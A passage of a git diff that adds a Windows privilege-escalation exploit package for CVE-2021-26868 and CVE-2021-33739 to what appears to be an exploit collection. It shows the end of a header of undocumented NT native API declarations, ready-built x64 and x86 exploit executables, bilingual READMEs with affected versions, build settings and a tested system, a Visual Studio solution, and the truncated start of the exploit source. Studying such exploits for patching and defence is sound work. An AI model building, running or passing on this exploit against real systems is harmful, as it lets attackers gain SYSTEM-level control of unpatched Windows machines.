DISABLE_MAX_PRIVILEGE 0x1 // winnt +#define SANDBOX_INERT 0x2 // winnt +#define LUA_TOKEN 0x4 +#define WRITE_RESTRICT 0x8 + +NTSTATUS NTAPI NtFilterToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ULONG Flags, + _In_opt_ PTOKEN_GROUPS SidsToDisable, + _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_opt_ PTOKEN_GROUPS RestrictedSids, + _Out_ PHANDLE NewTokenHandle + ); + +NTSTATUS NTAPI NtImpersonateAnonymousToken( + _In_ HANDLE ThreadHandle + ); + +NTSTATUS NTAPI NtQueryInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _Out_ PVOID TokenInformation, + _In_ ULONG TokenInformationLength, + _Out_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtSetInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _In_ PVOID TokenInformation, + _In_ ULONG TokenInformationLength + ); + +NTSTATUS NTAPI NtOpenThreadTokenEx( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle + ); + +NTSTATUS NTAPI NtAdjustPrivilegesToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN DisableAllPrivileges, + _In_opt_ PTOKEN_PRIVILEGES NewState, + _In_opt_ ULONG BufferLength, + _Out_opt_ PTOKEN_PRIVILEGES PreviousState, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtQueryInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _Out_ PVOID TokenInformation, + _In_ ULONG TokenInformationLength, + _Out_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtCreateKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + __reserved ULONG TitleIndex, + _In_opt_ PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _Out_opt_ PULONG Disposition + ); + +NTSTATUS NTAPI NtOpenKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryKey( + _In_ HANDLE KeyHandle, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_opt_ PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSTATUS NTAPI NtQueryValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_ PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSTATUS NTAPI NtSetValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_opt_ ULONG TitleIndex, + _In_ ULONG Type, + _In_ PVOID Data, + _In_ ULONG DataSize + ); + +NTSTATUS NTAPI NtDeleteKey( + _In_ HANDLE KeyHandle + ); + +NTSTATUS NTAPI NtDeleteValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName + ); + +NTSTATUS NTAPI NtLoadDriver( + _In_ PUNICODE_STRING DriverServiceName + ); + +NTSTATUS NTAPI NtUnloadDriver( + _In_ PUNICODE_STRING DriverServiceName + ); + +NTSTATUS NTAPI NtOpenJobObject( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryInformationJobObject( + _In_opt_ HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _Out_ PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtOpenIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_ IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + _Out_ PVOID IoCompletionInformation, + _In_ ULONG IoCompletionInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtQueryInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass + ); + +NTSTATUS NTAPI NtQueryFullAttributesFile( + __in POBJECT_ATTRIBUTES ObjectAttributes, + __out PFILE_NETWORK_OPEN_INFORMATION FileInformation +); + +NTSTATUS NTAPI NtQueryDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ BOOLEAN ReturnSingleEntry, + _In_opt_ PUNICODE_STRING FileName, + _In_ BOOLEAN RestartScan + ); + +NTSTATUS NTAPI NtQueryEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + __out_bcount(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + __in_bcount_opt(EaListLength) PVOID EaList, + _In_ ULONG EaListLength, + _In_opt_ PULONG EaIndex, + _In_ BOOLEAN RestartScan + ); + +NTSTATUS NTAPI NtSetEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + __in_bcount(Length) PVOID Buffer, + _In_ ULONG Length + ); + +NTSTATUS NTAPI NtQueryVolumeInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FsInformation, + _In_ ULONG Length, + _In_ FS_INFORMATION_CLASS FsInformationClass + ); + +NTSTATUS NTAPI NtOpenFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG OpenOptions + ); + +NTSTATUS NTAPI NtReadFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + __out_bcount(Length) PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key + ); + +NTSTATUS NTAPI NtWriteFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key + ); + +NTSTATUS NTAPI NtFlushBuffersFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); + +NTSTATUS NTAPI NtSetInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + __in_bcount(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass + ); + +NTSTATUS NTAPI NtDeleteFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtOpenEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtOpenKeyedEvent( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtOpenSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryEvent( + _In_ HANDLE EventHandle, + _In_ EVENT_INFORMATION_CLASS EventInformationClass, + _Out_ PVOID EventInformation, + _In_ ULONG EventInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtOpenEventPair( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +//TmTx +NTSTATUS NTAPI NtCreateTransaction( + _Out_ PHANDLE TransactionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ LPGUID Uow, + _In_opt_ HANDLE TmHandle, + _In_opt_ ULONG CreateOptions, + _In_opt_ ULONG IsolationLevel, + _In_opt_ ULONG IsolationFlags, + _In_opt_ PLARGE_INTEGER Timeout, + _In_opt_ PUNICODE_STRING Description + ); + +NTSTATUS NTAPI NtRollbackTransaction( + _In_ HANDLE TransactionHandle, + _In_ BOOLEAN Wait); + +//TmRm +NTSTATUS NTAPI NtCreateResourceManager( + _Out_ PHANDLE ResourceManagerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE TmHandle, + _In_opt_ LPGUID ResourceManagerGuid, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG CreateOptions, + _In_opt_ PUNICODE_STRING Description + ); + +//TmEn +NTSTATUS NTAPI NtCreateEnlistment( + _Out_ PHANDLE EnlistmentHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE ResourceManagerHandle, + _In_ HANDLE TransactionHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG CreateOptions, + _In_ NOTIFICATION_MASK NotificationMask, + _In_opt_ PVOID EnlistmentKey + ); + +//TmTm +NTSTATUS NTAPI NtCreateTransactionManager( + _Out_ PHANDLE TmHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PUNICODE_STRING LogFileName, + _In_opt_ ULONG CreateOptions, + _In_opt_ ULONG CommitStrength + ); + +NTSTATUS NTAPI NtCreateFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER AllocationSize, + _In_ ULONG FileAttributes, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_opt_ PVOID EaBuffer, + _In_ ULONG EaLength + ); + +NTSTATUS NTAPI NtDeviceIoControlFile( + _In_ HANDLE FileHandle, + _In_ HANDLE Event, + _In_ PIO_APC_ROUTINE ApcRoutine, + _In_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG IoControlCode, + _In_ PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_ PVOID OutputBuffer, + _In_ ULONG OutputBufferLength + ); + +NTSTATUS NTAPI NtFsControlFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG FsControlCode, + _In_opt_ PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_opt_ PVOID OutputBuffer, + _In_ ULONG OutputBufferLength + ); + +NTSTATUS NTAPI NtCreateUserProcess( + _Out_ PHANDLE ProcessHandle, + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK ProcessDesiredAccess, + _In_ ACCESS_MASK ThreadDesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes, + _In_ ULONG ProcessFlags, + _In_ ULONG ThreadFlags, + _In_opt_ PVOID ProcessParameters, + _Inout_ PPS_CREATE_INFO CreateInfo, + _In_opt_ PPS_ATTRIBUTE_LIST AttributeList + ); + +NTSTATUS NTAPI NtOpenProcess( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId + ); + +NTSTATUS NTAPI NtTerminateProcess( + _In_opt_ HANDLE ProcessHandle, + _In_ NTSTATUS ExitStatus + ); + +NTSTATUS NTAPI NtSuspendProcess( + _In_ HANDLE ProcessHandle + ); + +NTSTATUS NTAPI NtResumeProcess( + _In_ HANDLE ProcessHandle + ); + +NTSTATUS NTAPI NtSuspendThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount + ); + +NTSTATUS NTAPI NtResumeThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount + ); + +NTSTATUS NTAPI NtOpenThread( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId + ); + +NTSTATUS NTAPI NtTerminateThread( + _In_opt_ HANDLE ThreadHandle, + _In_ NTSTATUS ExitStatus + ); + +NTSTATUS NTAPI NtImpersonateThread( + _In_ HANDLE ServerThreadHandle, + _In_ HANDLE ClientThreadHandle, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos + ); + +NTSTATUS NTAPI NtSetContextThread( + _In_ HANDLE ThreadHandle, + _In_ PCONTEXT ThreadContext + ); + +NTSTATUS NTAPI NtGetContextThread( + _In_ HANDLE ThreadHandle, + _Inout_ PCONTEXT ThreadContext + ); + +NTSTATUS NTAPI NtQueryInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _Out_ PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtSetInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _In_ PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength + ); + +NTSTATUS NTAPI NtQueryInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_ PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtSetInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _In_count_(ProcessInformationLength) PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength + ); + +NTSTATUS NTAPI NtDuplicateObject( + _In_ HANDLE SourceProcessHandle, + _In_ HANDLE SourceHandle, + _In_opt_ HANDLE TargetProcessHandle, + _Out_ PHANDLE TargetHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Options + ); + +NTSTATUS NTAPI NtSetSecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +NTSTATUS NTAPI NtQuerySecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _Out_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ULONG Length, + _Out_ PULONG LengthNeeded + ); + +NTSTATUS NTAPI NtQueryLicenseValue( + _In_ PUNICODE_STRING ValueName, + _Out_opt_ PULONG Type, + _Out_writes_bytes_to_opt_(DataSize, *ResultDataSize) PVOID Data, + _In_ ULONG DataSize, + _Out_ PULONG ResultDataSize +); + +NTSTATUS NtCreateIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG Count + ); + +NTSTATUS NTAPI NtCreateEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ EVENT_TYPE EventType, + _In_ BOOLEAN InitialState + ); + +NTSTATUS NTAPI NtSetEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState + ); + +NTSTATUS NTAPI NtAllocateVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _In_ ULONG_PTR ZeroBits, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG AllocationType, + _In_ ULONG Protect + ); + +NTSTATUS NTAPI NtFreeVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG FreeType + ); + +NTSTATUS NTAPI NtQueryVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_ MEMORY_INFORMATION_CLASS MemoryInformationClass, + _Out_ PVOID MemoryInformation, + _In_ SIZE_T MemoryInformationLength, + _Out_opt_ PSIZE_T ReturnLength + ); + +NTSTATUS NTAPI NtReadVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _Out_ PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead + ); + +NTSTATUS NTAPI NtWriteVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ VOID *Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesWritten + ); + +NTSTATUS NTAPI NtProtectVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG NewProtect, + _Out_ PULONG OldProtect + ); + +NTSTATUS NTAPI NtEnumerateKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_opt_ PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSTATUS NTAPI NtCreatePort( + _Out_ PHANDLE PortHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_ ULONG MaxPoolUsage + ); + +NTSTATUS NTAPI NtCompleteConnectPort( + _In_ HANDLE PortHandle + ); + +NTSTATUS NTAPI NtListenPort( + _In_ HANDLE PortHandle, + _Out_ PPORT_MESSAGE ConnectionRequest + ); + +NTSTATUS NTAPI NtReplyPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE ReplyMessage + ); + +NTSTATUS NTAPI NtReplyWaitReplyPort( + _In_ HANDLE PortHandle, + _Inout_ PPORT_MESSAGE ReplyMessage + ); + +NTSTATUS NTAPI NtRequestPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE RequestMessage + ); + +NTSTATUS NTAPI NtRequestWaitReplyPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE RequestMessage, + _Out_ PPORT_MESSAGE ReplyMessage + ); + +NTSTATUS NTAPI NtClosePort( + _In_ HANDLE PortHandle + ); + +NTSTATUS NTAPI NtReplyWaitReceivePort( + _In_ HANDLE PortHandle, + _Out_opt_ PVOID *PortContext, + _In_opt_ PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage + ); + +NTSTATUS NTAPI NtWriteRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _In_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG NumberOfBytesWritten + ); + +NTSTATUS NTAPI NtReadRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG NumberOfBytesRead + ); + +NTSTATUS NTAPI NtConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _Out_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_opt_ PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength + ); + +NTSTATUS NTAPI NtAcceptConnectPort( + _Out_ PHANDLE PortHandle, + _In_opt_ PVOID PortContext, + _In_ PPORT_MESSAGE ConnectionRequest, + _In_ BOOLEAN AcceptConnection, + _Inout_opt_ PPORT_VIEW ServerView, + _Out_opt_ PREMOTE_PORT_VIEW ClientView); + +typedef +VOID +(*PPS_APC_ROUTINE) ( + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3); + +NTSTATUS NTAPI NtQueueApcThread( + _In_ HANDLE ThreadHandle, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3); + +NTSTATUS NTAPI NtWaitForSingleObject( + _In_ HANDLE Handle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout); + +NTSTATUS NTAPI NtYieldExecution( + VOID); + +NTSTATUS NTAPI NtCreateMailslotFile( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CreateOptions, + _In_ ULONG MailslotQuota, + _In_ ULONG MaximumMessageSize, + _In_ PLARGE_INTEGER ReadTimeout); + +NTSTATUS NTAPI NtSecureConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _In_opt_ PSID RequiredServerSid, + _Inout_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_opt_ PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength); + +NTSTATUS NTAPI NtEnumerateBootEntries( + _Out_ PVOID Buffer, + _Inout_ PULONG BufferLength); + +NTSTATUS NTAPI NtPrivilegeCheck( + _In_ HANDLE ClientToken, + _Inout_ PPRIVILEGE_SET RequiredPrivileges, + _Out_ PBOOLEAN Result + ); + +NTSTATUS NTAPI NtCreateProcessEx( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ ULONG Flags, + _In_opt_ HANDLE SectionHandle, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE ExceptionPort, + _In_ BOOLEAN InJob); + +NTSTATUS NTAPI NtCreateThreadEx( + _Out_ PHANDLE hThread, + _In_ ACCESS_MASK DesiredAccess, + _In_ LPVOID ObjectAttributes, + _In_ HANDLE ProcessHandle, + _In_ LPTHREAD_START_ROUTINE lpStartAddress, + _In_ LPVOID lpParameter, + _In_ BOOL CreateSuspended, + _In_ DWORD StackZeroBits, + _In_ DWORD SizeOfStackCommit, + _In_ DWORD SizeOfStackReserve, + _Out_ LPVOID lpBytesBuffer); diff --git a/00-CVE_EXP/CVE-2021-33739/CVE-2021-26868&CVE-2021-33739_x64.exe b/00-CVE_EXP/CVE-2021-33739/CVE-2021-26868&CVE-2021-33739_x64.exe new file mode 100644 index 0000000..588e904 Binary files /dev/null and b/00-CVE_EXP/CVE-2021-33739/CVE-2021-26868&CVE-2021-33739_x64.exe differ diff --git a/00-CVE_EXP/CVE-2021-33739/CVE-2021-26868&CVE-2021-33739_x86.exe b/00-CVE_EXP/CVE-2021-33739/CVE-2021-26868&CVE-2021-33739_x86.exe new file mode 100644 index 0000000..77bb15b Binary files /dev/null and b/00-CVE_EXP/CVE-2021-33739/CVE-2021-26868&CVE-2021-33739_x86.exe differ diff --git a/00-CVE_EXP/CVE-2021-33739/README.md b/00-CVE_EXP/CVE-2021-33739/README.md new file mode 100644 index 0000000..c258243 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-33739/README.md @@ -0,0 +1,37 @@ +### CVE-2021-33739 + +#### 描述 + +Microsoft DWM核心库的特权漏洞提升 + +#### 影响版本 + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | ------------------ | +| Windows 10 | x64/x86/ARM64 | 1909 | | ✔ | +| Windows 10 | x64/x86/ARM64 | 2004 | | | +| Windows 10 | x64/x86/ARM64 | 20H2 | | | +| Windows 10 | x64/x86/ARM64 | 21H1 | | | +| Windows Server | | 2004 | | | +| Windows Server | | 20H2 | | | + +#### 修复补丁 + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33739 +``` + +#### 利用方式 + +编译环境 + +- VS2019(V142)X64 Release +- VS2019(V142)X86 Release + +测试系统Windows 10 1909 X64 + +![CVE-2021-26868&CVE-2021-33739_win10_1909_x64](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-26868&CVE-2021-33739_win10_1909_x64.gif) + +#### 代码来源 + +- [mavillon1](https://github.com/mavillon1/CVE-2021-33739-POC) \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-33739/README_EN.md b/00-CVE_EXP/CVE-2021-33739/README_EN.md new file mode 100644 index 0000000..18e7d72 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-33739/README_EN.md @@ -0,0 +1,37 @@ +### CVE-2021-33739 + +#### Describe + +Microsoft DWM Core Library Elevation of Privilege Vulnerability + +#### ImpactVersion + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | ------------------ | +| Windows 10 | x64/x86/ARM64 | 1909 | | ✔ | +| Windows 10 | x64/x86/ARM64 | 2004 | | | +| Windows 10 | x64/x86/ARM64 | 20H2 | | | +| Windows 10 | x64/x86/ARM64 | 21H1 | | | +| Windows Server | | 2004 | | | +| Windows Server | | 20H2 | | | + +#### Patch + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33739 +``` + +#### Utilization + +CompilerEnvironment + +- VS2019(V142)X64 Release +- VS2019(V142)X86 Release + +Test system Windows 10 1909 X64 + +![CVE-2021-26868&CVE-2021-33739_win10_1909_x64](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-26868&CVE-2021-33739_win10_1909_x64.gif) + +#### ProjectSource + +- [mavillon1](https://github.com/mavillon1/CVE-2021-33739-POC) \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-33739/exp.sln b/00-CVE_EXP/CVE-2021-33739/exp.sln new file mode 100644 index 0000000..de11ed6 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-33739/exp.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.28307.1062 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "exp", "exp\exp.vcxproj", "{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Debug|x64.ActiveCfg = Debug|x64 + {EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Debug|x64.Build.0 = Debug|x64 + {EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Debug|x86.ActiveCfg = Debug|Win32 + {EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Debug|x86.Build.0 = Debug|Win32 + {EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Release|x64.ActiveCfg = Release|x64 + {EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Release|x64.Build.0 = Release|x64 + {EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Release|x86.ActiveCfg = Release|Win32 + {EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {95E87A53-C105-414E-8786-A0627CD97286} + EndGlobalSection +EndGlobal diff --git a/00-CVE_EXP/CVE-2021-33739/exp/exp.cpp b/00-CVE_EXP/CVE-2021-33739/exp/exp.cpp new file mode 100644 index 0000000..77882eb --- /dev/null +++ b/00-CVE_EXP/CVE-2021-33739/exp/exp.cpp @@ -0,0 +1,680 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include "ntos.h" +#pragma comment(lib, "ntdll.lib") + +enum DCPROCESSCOMMANDID +{ + nCmdProcessCommandBufferIterator, + nCmdCreateResource, + nCmdOpenSharedResource, + nCmdReleaseResource, + 